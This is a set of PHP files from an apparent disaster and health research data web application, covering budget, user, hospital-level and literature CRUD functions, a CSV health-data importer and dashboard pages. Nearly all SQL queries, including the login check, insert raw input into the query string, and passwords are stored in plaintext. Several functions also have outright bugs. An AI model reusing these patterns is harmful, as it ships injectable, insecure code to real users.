return FALSE;
}
}
$con->close();
}
function setprojectbudget($amount, $remarks, $project, $budgettype, $budgetmethod) {
$datenow = date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query = "INSERT INTO project_budget (amount,remarks,date,budget_type,budget_projectID,budget_recievedThrough) VALUES ('$amount','$remarks','$datenow','$budgettype','$project','$budgetmethod')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function deactivatebudget($id) {
require_once('dbconnect.php');
$query = "UPDATE project_budget SET ACTIVE=0 WHERE budgetID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getbudgetbyid($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM project_budget WHERE active = 1 AND budgetID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function getbudgetsum() {
require_once('dbconnect.php');
$query = "SELECT SUM(amount) as 'amount' FROM project_budget";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}<file_sep><?php
function getallbudgetcategory() {
require_once('dbconnect.php');
$query = "SELECT * FROM budget_category WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function setbudgetcategory($name, $description) {
$datenow = date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query = "INSERT INTO budget_category (name,description) VALUES ('$name','$description')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function deactivatebudgetcategory($id) {
require_once('dbconnect.php');
$query = "UPDATE budget_category SET ACTIVE=0 WHERE budget_categoryID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getbudgetcategory($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM budget_category WHERE active = 1 AND budget_categoryID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function updatebudgetcategory($name, $description, $id) {
require_once('dbconnect.php');
$query = "UPDATE budget_category SET name='$name', description='$description' WHERE budget_categoryID= '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
<file_sep><?php
require_once 'model/m_event_data.php';
function generate_all_eventdata(){
$result=array();
$result= getalleventdata();
return $result;
}
<file_sep><?php
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
require_once ('model/m_project.php');
require_once ('model/m_project_file.php');
function select_a_project($id) {
$result = array();
$result = getprojectbyid($id);
return $result;
}
function select_project_byuser($id) {
$result = array();
$result = getprojectwithpi($id);
return $result;
}
function submit_project_data($projectid, $filename, $fileproperties, $data) {
$controller_result = setprojectdata($projectid, $filename, $fileproperties, $data);
return 1;
}
function generateprojectdata($id) {
$result = array();
$result = getprojectdatabyprojectid($id);
return $result;
}
<file_sep>
<html lang="en">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<?php include_once ('controller/c_collection_upload_eventdata.php'); ?>
<head>
<?php
include_once ('dependencies/top_resources.php');
if (isset($_FILES['fileupload'])) {
$imgData = $_FILES['fileupload'];
if ($_FILES['fileupload']['name'] == "EVENT_DATA.csv") {
$view_result = submit_eventdata_area($_SESSION['project'], $imgData, $_SESSION['userid']);
if(isset($view_result)||is_array($view_result)){
$errorarray=$view_result;
}
} else {
echo "<script type='text/javascript'>alert('Please upload the standard file!');</script>";
}
}
?>
</head>
<!-- END HEAD -->
<body class="page-container-bg-solid page-md">
<div class="page-wrapper">
<div class="page-wrapper-row">
<div class="page-wrapper-top">
<!-- BEGIN HEADER -->
<?php include_once ('functions/header.php'); ?>
<!-- END HEADER -->
</div>
</div>
<div class="page-wrapper-row full-height">
<div class="page-wrapper-middle">
<!-- BEGIN CONTAINER -->
<div class="page-container">
<!-- BEGIN CONTENT -->
<div class="page-content-wrapper">
<!-- BEGIN CONTENT BODY -->
<!-- BEGIN PAGE HEAD-->
<div class="page-head">
<div class="container">
<!-- BEGIN PAGE TITLE -->
<div class="page-title">
<h1>Event Data</h1>
</div>
<!-- END PAGE TITLE -->
<!-- BEGIN PAGE TOOLBAR -->
<div class="page-toolbar">
</div>
<!-- END PAGE TOOLBAR -->
</div>
</div>
<!-- END PAGE HEAD-->
<!-- BEGIN PAGE CONTENT BODY -->
<div class="page-content">
<div class="container">
<!-- BEGIN PAGE BREADCRUMBS -->
<ul class="page-breadcrumb breadcrumb">
<li>
<span>Data Collection</span>
<i class="fa fa-circle"></i>
</li>
<li>
<span>Event Data</span>
</li>
</ul>
<!-- END PAGE BREADCRUMBS -->
<div class="page-content-inner">
<!-- BEGIN PAGE CONTENT INNER -->
<div class="page-content-inner">
<div class="row">
<div class="col-md-6 col-sm-15">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption caption-md">
<i class="icon-bar-chart font-dark hide"></i>
<span class="caption-subject font-green-steel uppercase bold">UPLOAD EVENT DATA</span>
</div>
</div>
<div class="portlet-body">
<div class="row list-separated">
<form class="col-md-10" action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<div class="form-group">
<label for="exampleInputEmail">Year</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Year" name="year" required>
</div>
<div class="form-group">
<label for="single" class="control-label">Region</label>
<select id="single" class="form-control select2" name="region">
<option value="NCR">National Capital Region (NCR)</option>
<option value="RegionI">Ilocos Region (Region I)</option>
<option value="CAR">Cordillera Administrative Region (CAR)</option>
<option value="RegionII">Cagayan Valley (Region II)</option>
<option value="RegionIII">Central Luzon (Region III)</option>
<option value="RegionIVA">CALABARZON (Region IV-A)</option>
<option value="MIMAROPA">Southwestern Taglog Region (MIMAROPA)</option>
<option value="RegionV">Bicol Region (Region V)</option>
<option value="RegionVI">Western Visayas (Region VI)</option>
<option value="RegionVII">Central Visayas (Region VII)</option>
<option value="RegionVIII">Eastern Visayas (Region VIII)</option>
<option value="RegionIX">Zamboanga Peninsula (Region IX)</option>
<option value="RegionX">Nothern Mindanao (Region X)</option>
<option value="RegionXI">Davao Region (Region XI)</option>
<option value="RegionXII">SOCCSKSARGEN (Region XII)</option>
<option value="RegionXIII">Caraga Region (Region XIII)</option>
<option value="ARMM">Autonomous Region in Muslim Mindanao (ARMM)</option>
</select>
</div>
<div class="form-group">
<label for="exampleInputEmail">City</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="City" name="city" required>
</div>
<div class="form-group">
<label for="exampleInputEmail">Barangay</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Barangay" name="barangay" required>
</div>
<div class="form-group">
<label for="exampleInputEmail">Municipality</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Municipality" name="municipality" required>
</div>
<div class="form-group">
<label for="exampleInputEmail">Region</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" placeholder="Region" name="region" required>
</div>
<div class="form-group">
<label for="single" class="control-label">Incident</label>
<select id="single" class="form-control select2" name="incident" >
<optgroup label="Environment">
<option value="Flashflooding">Flashflooding/Flooding Incident</option>
<option value="Landslide">Landslide</option>
</optgroup>
<optgroup label="Climate">
<option value="Continuous Rain">Continuous Rain</option>
<option value="Drought">Drought</option>
</optgroup>
<optgroup label="Seismic">
<option value="Earthquake">Earthquake</option>
<option value="Volcanic">Volcanic Activity</option>
<option value="Collapsed Structure">Collapsed Structure</option>
</optgroup>
<optgroup label="Human Activities">
<option value="Armed Conflict">Armed Conflict</option>
</optgroup>
</select>
</div>
<div class="form-group">
<label for="exampleInputEmail">No. of Deaths</label>
<input type="text" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp" name="numofdeaths" placeholder="No. of Deaths" required>
</div>
<div class="pull-left">
<button type="submit" class="btn btn-info">Upload Event Data</button>
</div>
</form>
</div>
</div>
</div>
</div>
<div class="col-md-6 col-sm-15">
<div class="portlet light ">
<div class="portlet-title">
<div class="caption caption-md">
<i class="icon-bar-chart font-dark hide"></i>
<span class="caption-subject font-green-steel uppercase bold">UPLOAD EVENT DATA CSV FILE</span>
</div>
</div>
<div class="portlet-body">
<div class="row list-separated">
<form class="col-md-10" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>" name="frmImage" enctype="multipart/form-data" >
<div class="form-group" style="padding-bottom:40px;">
<div class="col-md-3">
<div class="fileinput fileinput-new" data-provides="fileinput">
<div class="input-group input-large">
<div class="form-control uneditable-input input-fixed input-medium" data-trigger="fileinput">
<i class="fa fa-file fileinput-exists"></i>
<span class="fileinput-filename"> </span>
</div>
<span class="input-group-addon btn default btn-file">
<span class="fileinput-new"> Select file </span>
<span class="fileinput-exists"> Change </span>
<input type="file" name="fileupload"> </span>
<a href="javascript:;" class="input-group-addon btn red fileinput-exists" data-dismiss="fileinput"> Remove </a>
</div>
</div>
</div>
</div>
<div class="pull-left" style="padding-left: 15px;">
<button type="submit" class="btn btn-info">Submit</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- END PAGE CONTENT INNER -->
</div>
</div>
<!-- END PAGE CONTENT BODY -->
<!-- END CONTENT BODY -->
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Health Data Uploaded" data-message="The information you have entered has been successfully saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="confirm">Default Alert</div>
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Error on Upload" data-message="
<?php
if (isset($errorarray)){
$x=0;
$rowreccurence=array_count_values($errorarray);
$keysofrowrecurrence= array_keys($rowreccurence);
$message=array();
foreach ($rowreccurence as $arr){
$row=$keysofrowrecurrence[$x];
$rowcomputed=$row+1;
$msg="There is/are $rowreccurence[$row] errors on row $rowcomputed | ";
echo $msg;
array_push($message, $msg);
$x++;
}
}?>" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="error">Default Alert</div>
<div style="display: none;" class="btn btn-default mt-sweetalert" data-title="Budget Catetgory Update" data-message="The information you have entered has been successfully saved" data-allow-outside-click="true" data-confirm-button-class="btn-default" id ="update">Default Alert</div>
</div>
<!-- END CONTENT -->
<!-- BEGIN QUICK SIDEBAR -->
<a href="javascript:;" class="page-quick-sidebar-toggler">
<i class="icon-login"></i>
</a>
<!-- END QUICK SIDEBAR -->
</div>
<!-- END CONTAINER -->
</div>
</div>
<div class="page-wrapper-row">
<div class="page-wrapper-bottom">
<!-- BEGIN FOOTER -->
<?php include_once ('functions/footer.php'); ?>
<!-- END FOOTER -->
</div>
</div>
</div>
<!--[if lt IE 9]>
<script src="assets/global/plugins/respond.min.js"></script>
<script src="assets/global/plugins/excanvas.min.js"></script>
<script src="assets/global/plugins/ie8.fix.min.js"></script>
<![endif]-->
<?php include_once ('dependencies/bottom_resources.php'); ?>
<script>
<?php
if (isset($view_result) && $view_result == 1) {
echo'$(document).ready(function(){
document.getElementById("confirm").click();
});';
} else if (isset($errorarray)) {
echo'$(document).ready(function(){
document.getElementById("error").click();
});';
} else if (isset($view_result) && $view_result == 3) {
echo'$(document).ready(function(){
document.getElementById("update").click();
});';
}
?>
</script>
</body>
</html><file_sep>
<?php
require_once 'model/m_facilities.php';
function submit_facilities($name, $description) {
$controller_result = setfacilities($name, $description);
return 1;
}
function generate_all_facilities() {
$result = array();
$result = getallfacilities();
return $result;
}
function delete_facility($deactivate) {
$controller_result = deactivatefacilities($deactivate);
return 2;
}
function getupdate_facility($update) {
$result = array();
$result = getfacilities($id);
return $result;
}
function submitupdate_facilities($name, $description, $id) {
$controller_result = updatefacilities($name, $description, $id);
return 3;
}
<file_sep><!DOCTYPE html>
<!--
To change this license header, choose License Headers in Project Properties.
To change this template file, choose Tools | Templates
and open the template in the editor.
-->
<?php
session_destroy();
header("Location: login.php"); /* Redirect browser */
exit();
?><file_sep><?php
require_once ('model/m_health_data.php');
require_once ('model/m_diseases.php');
function diseases() {
$result = array();
$result = getalldiseases();
return $result;
}
function submit_healthdata($projectid, $data, $userid) {
$fh = fopen($data['tmp_name'], 'r+');
$lines = array();
while (($row = fgetcsv($fh, 8192)) !== FALSE) {
$lines[] = $row;
}
$x = 0;
$checker = array();
$arr_content = array();
foreach ($lines as $arr_result) {
if ($x > 0) {
$year = $arr_result[0];
if ($year == NULL || !is_string($year)) {
array_push($checker, $x);
}
$month = $arr_result[1];
if ($month == NULL || !is_string($month)) {
array_push($checker, $x);
}
$region = $arr_result[2];
if ($region == NULL || !is_string($region)) {
array_push($checker, $x);
}
$city = $arr_result[3];
if ($city == NULL || !is_string($city)) {
array_push($checker, $x);
}
$d = $arr_result[4];
$disease = comparedisease($d);
if ($disease <= 0) {
array_push($checker, $x);
}
$infected = $arr_result[5];
if ($infected <= 0) {
array_push($checker, $x);
}
$communicable = $arr_result[6];
if ($communicable == 'YES') {
$communicable = 1;
} else {
$communicable = 0;
}
if ($communicable < 0) {
array_push($checker, $x);
}
if ($communicable == 1) {
$through = $arr_result[7];
if ($through == NULL || !is_string($through)) {
array_push($checker, $x);
}
}
$projectID = $projectid;
$uploadedBy = $userid;
$newdata = array(
'year' => $year,
'month' => $month,
'region' => $region,
'city' => $city,
'disease' => $disease,
'infected' => $infected,
'uploadedBy' => $uploadedBy,
'project' => $projectID
);
array_push($arr_content, $newdata);
}
$x++;
}
if ($checker == NULL) {
foreach ($arr_content as $line) {
$projectID = $line['project'];
$year = $line['year'];
$month = $line['month'];
$region = $line['region'];
$city = $line['city'];
$disease = $line['disease'];
$infected = $line['infected'];
$uploadedBy = $line['uploadedBy'];
upload_health_data($projectID, $year, $month, $region, $city, $disease, $infected, $uploadedBy);
//Sstill Having Errors from here
// $z = 0;
// foreach ($keywordsarray as $key) {
//
// $result = comparekeyword($key[$z]);
//
// if ($result > 0) {
//
// } else if (is_string($result)) {
//
// return $result;
// }
// }
//To Here
}
} else {
return $checker;
}
}
function submit_form_healthdata_area($projectid, $year, $province, $city, $awdiarrhea, $abdiarrhea, $hepatitis, $typhoidfever, $cholera, $dengue, $malaria, $leptospirosis, $tetanus, $userid) {
$controller_result = uploadhealtdataarea($projectid, $year, $province, $city, $awdiarrhea, $abdiarrhea, $hepatitis, $typhoidfever, $cholera, $dengue, $malaria, $leptospirosis, $tetanus, $userid);
echo "<script type='text/javascript'>alert('Health Data per area entry successfully uploaded!');</script>";
header('Location: visualization_healthdataarea.php');
}
function comparedisease($disease) {
$result = getdiseasefromtext($disease);
if ($result != FALSE) {
foreach ($result as $arr_result) {
$keyID = $arr_result['diseaseID'];
}
return $keyID;
} else {
return 0;
}
}
<file_sep><?php
function getalllevelofhospital() {
require_once('dbconnect.php');
$query = "SELECT * FROM level_of_hospital WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function setlevelofhospital($name) {
require_once('dbconnect.php');
$query = "INSERT INTO level_of_hospital (name) VALUES('$name')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
}
function deactivatelevelofhospital($id) {
require_once('dbconnect.php');
$query = "UPDATE level_of_hospital SET ACTIVE=0 WHERE level_of_hospitalID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getlevelofhospital($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM level_of_hospital WHERE active = 1 AND level_of_hospitalID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function updatelevelofhospital($name, $id) {
require_once('dbconnect.php');
$query = "UPDATE level_of_hospital SET name='$name' WHERE level_of_hospitalID= '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getlevelofhospitalbytext($name){
require_once('dbconnect.php');
$query = "SELECT level_of_hospitalID FROM level_of_hospital WHERE name LIKE '$name' AND active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
?>
<file_sep><?php include_once ('dependencies/top_resources.php');?>
<!-- BEGIN ROW -->
<div class="row">
<div class="col-md-12">
<!-- BEGIN CHART PORTLET-->
<div class="portlet light ">
<div class="portlet-title">
<div class="caption">
<span class="caption-subject bold uppercase font-green-haze">SUM OF ALL HEALTH DATA</span>
</div>
<div class="tools">
<a href="javascript:;" class="collapse"> </a>
<a href="javascript:;" class="fullscreen"> </a>
</div>
</div>
<div class="portlet-body">
<div id="chartdiv" style="width:100%;height:500px"></div>
</div>
</div>
<!-- END CHART PORTLET-->
</div>
</div>
<!-- END ROW -->
<?php include_once ('dependencies/bottom_resources.php');?>
<script>
var chartData = <?php require_once 'data.php';
$year=null;
$month=null;
$region=null;
$city=null;
$disease=null;
$uploadedBy=null;
$uploadDate=null;
sumhd($year, $month, $region, $city, $disease, $uploadedBy, $uploadDate);
?>;
var chart = AmCharts.makeChart( "chartdiv", {
"theme": "light",
"type": "serial",
"dataProvider": chartData,
"categoryField": "disease",
"depth3D": 20,
"angle": 30,
"categoryAxis": {
"labelRotation": 90,
"gridPosition": "start"
},
"valueAxes": [ {
"title": "Diseases"
} ],
"graphs": [ {
"valueField": "infected",
"colorField": "color",
"type": "column",
"lineAlpha": 0.1,
"fillAlphas": 1
} ],
"chartCursor": {
"cursorAlpha": 0,
"zoomable": false,
"categoryBalloonEnabled": false
},
"export": {
"enabled": true
}
} );</script><file_sep><?php
function getalltypeofliterature() {
require_once('dbconnect.php');
$query = "SELECT * FROM type_of_literature WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function settypeofliterature($name,$description) {
require_once('dbconnect.php');
$query = "INSERT INTO type_of_literature (name,description) VALUES('$name','$description')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return $query;
} else {
return $query;
}
}
function deactivatetypeofliterature($id) {
require_once('dbconnect.php');
$query = "UPDATE type_of_literature SET ACTIVE=0 WHERE typeOfLitID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function gettypeofliterature($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM type_of_literature WHERE active = 1 AND typeOfLitID = '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function updatetypeofliterature($name, $description, $id) {
require_once('dbconnect.php');
$query = "UPDATE type_of_literature SET name='$name', description='$description' WHERE typeOfLitID '$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function gettypeoflitfromtext($type){
require_once('dbconnect.php');
$query = "SELECT typeOfLitID FROM type_of_literature WHERE name LIKE '$type' AND active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
?>
<file_sep><?php
function setuser($firstname, $middlename, $lastname, $email, $password1, $specializations, $masters, $doctorate) {
$datenow = date("Y-m-d H:i:s");
require_once('dbconnect.php');
$query = "INSERT INTO user (firstname,middlename,lastname,email,password,specializations,masters,doctorate,registrationdate) VALUES ('$firstname','$middlename','$lastname','$email','$password1','$specializations','$masters','$doctorate','$datenow')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function setuser_as_principalinvestigator($id) {
require_once('dbconnect.php');
$query = "INSERT INTO sdrcris.project_user (projectID,userID) VALUES('*value*','*value*')";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function updateuser($firstname, $middlename, $lastname, $email, $password1, $specializations, $masters, $doctorate, $id) {
require_once('dbconnect.php');
$query = "UPDATE user SET firstname='$firstname',middlename='$middlename',lastname='$lastname',email='$email',password='$<PASSWORD>',specializations='$specializations',masters='$masters',doctorate='$doctorate' WHERE userID='$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getallusers() {
require_once('dbconnect.php');
$query = "SELECT * FROM user WHERE active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function getuserbyid($id) {
require_once('dbconnect.php');
$query = "SELECT * FROM user WHERE active = 1 and userID='$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
$query_result = array();
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function getalluserswithoutusertype() {
require_once('dbconnect.php');
$query = "SELECT * FROM sdrcris.user WHERE userID NOT IN (SELECT userID FROM project_user) AND usertype is NULL AND active = 1;";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function checklogin($email, $password) {
require_once('dbconnect.php');
$query = "SELECT * FROM user WHERE email='$email' AND password = '$<PASSWORD>' AND active = 1";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
$num_rows = mysqli_num_rows($result);
if ($num_rows > 0) {
while ($row = mysqli_fetch_array($result, MYSQLI_ASSOC)) {
$query_result[] = $row;
}
return $query_result;
} else {
return FALSE;
}
}
$con->close();
}
function deactivateuser($id) {
require_once('dbconnect.php');
$query = "UPDATE user set active='0' WHERE userID='$id'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return TRUE;
}
$con->close();
}
function getemail($ID) {
require_once('dbconnect.php');
$query = "SELECT email FROM user WHERE active = 1 and userID='$ID'";
$con = createconnection();
if (isset($query)) {
$result = mysqli_query($con, $query);
return result;
} else {
return FALSE;
}
$con->close();
}
?><file_sep>
<!DOCTYPE html>
<html lang="en">
<!--<![endif]-->
<!-- BEGIN HEAD -->
<?php include_once ('controller/c_dashboard.php'); ?>
<head>
<?php include_once ('dependencies/top_resources.php');?>
</head>
<!-- END HEAD -->
<body class="page-container-bg-solid page-md">
<div class="page-wrapper">
<div class="page-wrapper-row">
<div class="page-wrapper-top">
<!-- BEGIN HEADER -->
<?php include_once ('functions/header.php');?>
<!-- END HEADER -->
</div>
</div>
<div class="page-wrapper-row full-height">
<div class="page-wrapper-middle">
<!-- BEGIN CONTAINER -->
<div class="page-container">
<!-- BEGIN CONTENT -->
<div class="page-content-wrapper">
<!-- BEGIN CONTENT BODY -->
<!-- BEGIN PAGE HEAD-->
<div class="page-head">
<div class="container">
<!-- BEGIN PAGE TITLE -->
<div class="page-title">
<h1>Dashboard</h1>
</div>
<!-- END PAGE TITLE -->
<!-- BEGIN PAGE TOOLBAR -->
<div class="page-toolbar">
</div>
<!-- END PAGE TOOLBAR -->
</div>
</div>
<!-- END PAGE HEAD-->
<!-- BEGIN PAGE CONTENT BODY -->
<div class="page-content">
<div class="container">
<!-- BEGIN PAGE BREADCRUMBS -->
<ul class="page-breadcrumb breadcrumb">
<li>
<a href="">Home</a>
<i class="fa fa-circle"></i>
</li>
<li>
<span>Dashboard</span>
</li>
</ul>
<!-- END PAGE BREADCRUMBS -->
<!-- BEGIN PAGE CONTENT INNER -->
<div class="page-content-inner">
<div class="row widget-row">
<div class="col-md-4">
<!-- BEGIN WIDGET THUMB -->
<div class="widget-thumb widget-bg-color-white text-uppercase margin-bottom-20 ">
<h4 class="widget-thumb-heading font-green-steel">Remaining Budget</h4>
<div class="widget-thumb-wrap">
<i class="widget-thumb-icon bg-green fa fa-balance-scale"></i>
<div class="widget-thumb-body">
<span class="widget-thumb-subtitle">PHP</span>
<span class="widget-thumb-body-stat" data-counter="counterup" data-value="<?php $rem= generateremainingbudget(); echo $rem;?>">0</span>
</div>
</div>
</div>
<!-- END WIDGET THUMB -->
</div>
<div class="col-md-4">
<!-- BEGIN WIDGET THUMB -->
<div class="widget-thumb widget-bg-color-white text-uppercase margin-bottom-20 ">
<h4 class="widget-thumb-heading font-green-steel">Budget Used</h4>
<div class="widget-thumb-wrap">
<i class="widget-thumb-icon bg-red fa fa-shopping-cart"></i>
<div class="widget-thumb-body">
<span class="widget-thumb-subtitle">PHP</span>
<span class="widget-thumb-body-stat" data-counter="counterup" data-value="<?php $exp= generatetotalexpense(); echo $exp;?>">0</span>
</div>
</div>
</div>
<!-- END WIDGET THUMB -->
</div>
<div class="col-md-4">
<!-- BEGIN WIDGET THUMB -->
<div class="widget-thumb widget-bg-color-white text-uppercase margin-bottom-20 ">
<h4 class="widget-thumb-heading font-green-steel">Total Budget Allocated</h4>
<div class="widget-thumb-wrap">
<i class="widget-thumb-icon bg-purple fa fa-money"></i>
<div class="widget-thumb-body">
<span class="widget-thumb-subtitle">PHP</span>
<span class="widget-thumb-body-stat" data-counter="counterup" data-value="<?php $budg=generatetotalbudget(); echo $budg;?>">0</span>
</div>
</div>
</div>
<!-- END WIDGET THUMB -->
</div>
</div>
<div><?php include_once ('example_analytics_one.php');?> </div>
<!-- BEGIN ROW -->
<div class="row">
<div class="col-md-12">
<!-- BEGIN CHART PORTLET-->
<div class="portlet light ">
<div class="portlet-title">
<div class="caption">
<span class="caption-subject bold uppercase font-green-haze">AFFECTED AREAS BASED FROM EXTREME EVENTS</span>
<span class="caption-helper">world population</span>
</div>
<div class="tools">
<a href="javascript:;" class="collapse"> </a>
<a href="javascript:;" class="fullscreen"> </a>
</div>
</div>
<div class="portlet-body">
<div id="chart_10" class="chart" style="height: 600px;"> </div>
</div>
</div>
<!-- END CHART PORTLET-->
</div>
</div>
<!-- END ROW -->
<div class="row">
<div class="col-md-12">
<!-- BEGIN CHART PORTLET-->
<div class="portlet light bordered">
<div class="portlet-title">
<div class="caption">
<span class="caption-subject bold uppercase font-green-haze">HEALTH RELATED INCIDENTS BASED FROM INFRASTRUCTURE DAMAGES DUE TO EXTREME EVENTS</span>
</div>
<div class="tools">
<a href="javascript:;" class="collapse"> </a>
<a href="javascript:;" class="fullscreen"> </a>
</div>
</div>
<div class="portlet-body">
<div id="chart_1" class="chart" style="height: 500px;"> </div>
</div>
</div>
<!-- END CHART PORTLET-->
</div>
</div>
<!-- BEGIN ROW -->
<div class="row">
<div class="col-md-12">
<!-- BEGIN CHART PORTLET-->
<div class="portlet light ">
<div class="portlet-title">
<div class="caption">
<span class="caption-subject bold uppercase font-green-haze">ANNUAL REPORTED CALAMITIES PER AREA</span>
</div>
<div class="tools">
<a href="javascript:;" class="collapse"> </a>
<a href="javascript:;" class="fullscreen"> </a>
</div>
</div>
<div class="portlet-body">
<div id="chart_3" class="chart" style="height: 400px;"> </div>
</div>
</div>
<!-- END CHART PORTLET-->
</div>
</div>
<!-- END ROW -->
</div>
<!-- END PAGE CONTENT INNER -->
</div>
</div>
<!-- END PAGE CONTENT BODY -->
<!-- END CONTENT BODY -->
</div>
<!-- END CONTENT -->
<!-- BEGIN QUICK SIDEBAR -->
<a href="javascript:;" class="page-quick-sidebar-toggler">
<i class="icon-login"></i>
</a>
<!-- END QUICK SIDEBAR -->
</div>
<!-- END CONTAINER -->
</div>
</div>
<div class="page-wrapper-row">
<div class="page-wrapper-bottom">
<!-- BEGIN FOOTER -->
<?php include_once ('functions/footer.php');?>
